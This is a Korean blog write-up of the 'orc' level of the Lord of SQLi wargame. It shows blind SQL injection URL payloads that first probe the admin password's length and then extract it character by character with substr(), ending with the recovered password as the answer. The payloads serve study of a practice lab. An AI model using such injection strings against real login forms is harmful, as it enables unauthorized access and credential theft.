pw=%27 or %271%27=%271 했지만
Hello admin 글자만 나오고 해결되지는 않는다.
이유는 if($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
if문으로 pw 결과 값이 같아야지만, 관리자 계정으로 로그인할 수 있다고 한다.
패스워드를 찾기 위해, 먼저 길이를 알아보자.
?pw=%27 or id=%27admin%27 and length(pw)>%276 해보면
if($result['id']) echo "<h2>Hello admin</h2>";
즉 Hello admin 부분이 출력된다면,
id가 admin이고, 값이 참일 때, 저 결과 값을 띄운다는 것이다.
즉, 패스워드가 6 이상이다. 라는 것을 알 수 있는 것.
따라서 ?pw=%27 or length(pw)=%278
패스워드의 길이는 8이다.
다음으로 비밀번호를 찾기 위해 substr 함수를 사용해준다.
substr 문자열의 일부를 반환하는 함수이고,
사용 법의 예는 다음과 같다.
<? php
$rest = substr("abcdef", -1); // return "f"
$rest = substr("abcdef", -2); // return "ef"
$rest = substr("abcdef", -3, 1); // return "d"
?>
따라서
?pw=%27 or id=%27admin%27 and substr(pw, 1, 1)=%272
?pw=%27 or id=%27admin%27 and substr(pw, 2, 1)=%279
?pw=%27 or id=%27admin%27 and substr(pw, 3, 1)=%275
?pw=%27 or id=%27admin%27 and substr(pw, 4, 1)=%27d
?pw=%27 or id=%27admin%27 and substr(pw, 5, 1)=%275
?pw=%27 or id=%27admin%27 and substr(pw, 6, 1)=%278
?pw=%27 or id=%27admin%27 and substr(pw, 7, 1)=%274
?pw=%27 or id=%27admin%27 and substr(pw, 8, 1)=%274
즉 비밀번호는 295d5844이며,
답은 ?pw=295d5844이다.
'Web > LOS' 카테고리의 다른 글
[LOS] 문제 6. darkelf, or과 and 우회 방법 (0) | 2018.10.26 |
---|---|
[LOS] 문제 5. wolfman, 스페이스(빈칸) 우회 기법 이용 (0) | 2018.10.26 |
[LOS] 문제 3. goblin, 따옴표 문자 필터링 우회 (1) | 2018.10.26 |
[LOS] 문제 2. cobolt, 주석 URL 인코딩 (0) | 2018.10.26 |
[LOS] 문제 1. gremlin, URL 인자로 넘겨주는 GET 방식 (0) | 2018.10.26 |